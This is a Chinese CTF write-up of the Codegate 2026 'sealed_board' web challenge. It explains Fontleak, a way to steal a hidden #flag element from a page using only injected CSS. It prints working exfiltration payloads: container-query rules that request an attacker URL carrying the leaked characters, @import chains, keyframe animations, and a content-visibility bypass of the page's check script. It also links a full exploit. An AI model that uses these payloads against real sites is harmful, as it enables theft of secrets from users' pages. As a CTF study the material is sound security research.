我已经收集了足够的信息,现在我要开始落盘了
学习到了一种很有意思的XSS技巧,仅通过CSS来泄露任意数据。研究了两天,来分享一下心得。
题目
Codegate 2026 Quals 出了一道很有意思的 Web 题目:sealed_board。简单介绍场景:
xss 但仅可注入 style 标签selenium 无头 Firefox(140.0esr)adminbot 携带 token,页面会出现 #flag 标签
简化一下 adminbot 看到的前端 html:
<!doctype html><html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Sealed Board</title> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <main id="page" class="page"> <article class="hero-card"> <p>"If you want to keep a secret, you must also hide it from yourself."</p> <p>— George Orwell, 1984</p> </article>
<div id="flag" data-protected-flag="1">codegate2026{fake_flag}</div>
</main> <script src="/static/js/purify.min.js"></script>
<style> /* 这里可以注入 css 样式 */ </style>
<script src="/static/js/app.js"></script>
</body></html>目标就是泄露 #flag 标签,不过 app.js 还有额外的限制:
(function() { var p = document.getElementById('page'); if (!p) return; var getProtectedFlag = function() { for (var i = 0; i < p.children.length; i += 1) { var node = p.children[i]; if ( node && node.id === 'flag' && node.getAttribute('data-protected-flag') === '1' ) { return node; } } return null; }; var f = getProtectedFlag(); if (!f) return; var saved = f.textContent; f.textContent = ''; f.style.display = 'none'; var check = function() { f = getProtectedFlag(); if (!f || !f.parentNode) return; var display = getComputedStyle(f).display; if (display === 'none') return; if (display === 'contents') { f.remove(); return; } if (f.checkVisibility()) { f.remove(); return; } if (!f.textContent) f.textContent = saved; }; setInterval(check, 50); new MutationObserver(check).observe(p, { childList: true, subtree: true, attributes: true });})();这段 js 每隔 50ms 就会检查一次。可以看到,如果 display 不等于 none,会执行 f.remove() 从 DOM 中移除 flag。display: contents 同样也会被移除。不过,当内容为空且隐藏时,又会将 saved 放回。
Fontleak
暂且不考虑上文提到的check机制,如何仅通过css来泄露#flag呢?Google CSS Leak能找到一项名为 Fontleak 的研究:
就像视频里演示的那样,这项技术甚至可以泄露script标签内的数据,而且只需要简单的一行 <style> @import url('/'); </style>。作者在GitHub提供了完整的工具,那么接下来就结合这篇文章和代码来分析一下Fontleak的原理。
Ligatures
Ligatures 是指 连体字。比如一些字体里,>= 会连体成为 ≥,又比如f和i可能会写作连体。

那么Fontleak是如何利用连体来侧信道的呢?其实思路很质朴,通过长度。如果攻击者提供一个特制的字体,控制了任意两个字符连体后那个图形的宽度,那么就可以通过宽度来侧信道泄露数据了。
举个例子,比如我有 CODEGATE,注入css,默认字宽5px,提供一个特殊的连字规则,规定C和A连字的宽度是11px,C和B连字的宽度是12px,C和C连字的宽度是13px … C和O连字的宽度是20px。可以想象,只要我们有一个足够完整的映射表,就能通过整段字符的长度来侧信道泄露每一位字符。
我的示意图很曼妙
好了你已经能够操控字体了,但是数据怎么外带呢?
Container Query
CSS并没有提供一个可以测量文本长度的方法,因为可能导致循环触发。不过CSS提供了容器宽度变化后的回调函数。还是以上方例子为例,比方说我现在确定了C和O,文本长度从40px变成了50px,我们提供这段CSS:
@container leak (width: 41px) { head::before { content: url("http://localhost:4242/leak?data=CA"); }}@container leak (width: 42px) { head::before { content: url("http://localhost:4242/leak?data=CB"); }}/* 省略 */@container leak (width: 50px) { head::before { content: url("http://localhost:4242/leak?data=CO"); }}/* 这里我们想泄露的是#flag标签 */#flag::before { margin: 0 !important; padding: 0 !important; font-family: 'fontleak' !important; font-size: 1000px !important; white-space: pre-line !important; content: "\100";}很巧妙吧?但实际上会更复杂一些,因为我们需要通过 容器长度 - 初始长度 + 偏移量 来推测真实长度对应的字符,所以并不会是直接写41px、42px这样。不过这都好解决,因为提供什么CSS完全由我们控制。
其实到这里为止,本题就已经能够解了。下面是
Fontleak的优化措施。
能够优化吗?
Chrome 会动态加载@import,先完成加载的外部CSS会立即应用,后加载的外部CSS会随加载完成覆盖应用。也就是说,可以通过精准控制外部CSS提供的延迟,逐步控制字体连字的行为。当前一次连字完成的同时,再次请求下一段特制的字体,这次包含已知前缀,比如CO+A、CO+B、CO+C、CO+D,让字体去碰撞连接,并且回传长度。以此循环,可以动态且快速地泄露数据。
感觉不太好解释,举个例子吧。最开始的@import会包含以下内容:
<script> /* 这个请求会立刻响应 */ @import url('/?step=0');
/* 这个请求会等待第一位字符泄露后响应 */ @import url('/?step=1');</script>每当接收端收到一位泄露的字符,step就进一位。每次的CSS Payload都会包含下一次的@import载荷,但是会等到前一次泄露完成才提供。
其实这就是 Sequential Import Chaining。非常像是 Chrome 能做出来的性能优化方式,但也只有 Chrome 能够使用。
那么 Firefox 就无解了嘛?其实也不是。有个邪修方法,通过动画:
/* 还是假设我们要泄露#flag节点 */#flag::before { content: ""; /* 这个动画我调过了,实际会通过字符集数量以及每一次leak的时长来动态计算动画周期 */ animation: fontCycle 3.0s steps(1) infinite 0s;}
@keyframes fontCycle {
0.0% { content: "\100"; }
1.0% { content: "\101"; }
2.0% { content: "\102"; }
/* 省略其他字符 */
97.0% { content: "\161"; }
98.0% { content: "\162"; }
99.0% { content: "\163"; }
}每一个动画关键帧都去碰撞一位字符,一旦碰撞成功就会立即发生连字,然后外带请求。如果已知字符集,那么关键帧数量就可以大大减少,动画时间也可以略微调小,泄露地就越快。确实相当邪修了。
另外需要注意,Firefox要求所有的@import使用单独的<script>标签。
本题怎么做?
Fontleak确实是sealed_board的考点,但是出题人真正想考的是他发现的一个Firefox的bug(真的呀,我问过他了):
content-visibility
当一个元素不可见时,它就不会被渲染,也就意味着没有数据可以被外带(url不会被请求)。而出题人发现当属性为content-visibility:hidden时,依然尝试加载了外部背景图片。这给外带数据带来了可能。(在这一步卡了很久,动画成功应用了,但无法外带数据)。
另一个需要知道的点是 !important 保留空间的特性。当#page { content-visibility: hidden !important; }时,该元素会隐藏,但依然占据空间,这使得Fontleak的长度测量依然有效。
因此本题的Payload(暂且略过转义)应该是:
/* 这里前面有提到,Firefox要求使用单独的script标签 */<style> @import url('http://localhost:4242/');</style>
<style> #flag { display: block !important; } #page { content-visibility: hidden !important; }</style>http://localhost:4242/是Fontleak服务的地址,由于原项目的一些bug,只能通过环境变量来设置selector。通过以下命令启动:
# 注意这个转义SELECTOR=\#flag PARENT=body BASE_URL=http://localhost:4242 uv run uvicorn fontleak.main:app --host 0.0.0.0 --port 4242不过你大概还是收不到回传的请求,因为#flag并不是body下的根节点,而Fontleak项目没有考虑到这种情况,需要手动修改模板,在templates/dynamic-anim.css.jinja的*下面加入:
body *:has({{ leak_selector }}) { display: contents !important;}不能让#flag的父节点page隐藏,否则#flag也将不再可见。
最好再调一下闪烁动画,默认会延迟 1s 执行,但adminbot展示时间有限,改成立即执行,并且略微调快速度:
122c127< animation: fontCycle {{ idx_max * 0.05 }}s steps(1) infinite 1s;---> animation: fontCycle {{ idx_max * 0.03 }}s steps(1) infinite 0s;然后就能接到泄露出来的字符了。不过实际测试做不到连续泄露,只能用静态的方式,每次泄露一个字符。(其实偶尔能连续泄露,但动画再快就不稳定了)
完整的 Exploit 放在 GitHub 上,这是 Fontleak 的一个 Fork:链接。打开exploit.py,填入正确的靶机地址以及接收端的地址,然后执行:
python exploit.py
还有别的解法吗?
有的。如果 50ms 进行一次 check,恰好在检查的那一刻隐藏,然后在不检查的时候显示,并且交换的周期也是 50ms,是不是就可以绕过检测了呢?
<style>main#page { font-size: 0 !important; padding: 0 !important; margin: 0 !important; border: 0 !important;
animation: bypass 50ms infinite !important;}@keyframes bypass { 0%, 49% { content-visibility: hidden; } 50%, 100% { content-visibility: visible;}}
</style>这个Payload是真的可以的,我在有头Firefox里测试,#flag最多能存活超过12秒,这完全够用了,但是还是受限于Firefox的机制,闪烁成功概率极低,大概20次可能会出一个字符。据说有人用这个原理解出了,那比赛场景那么多人排队,估计得花相当久吧…
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









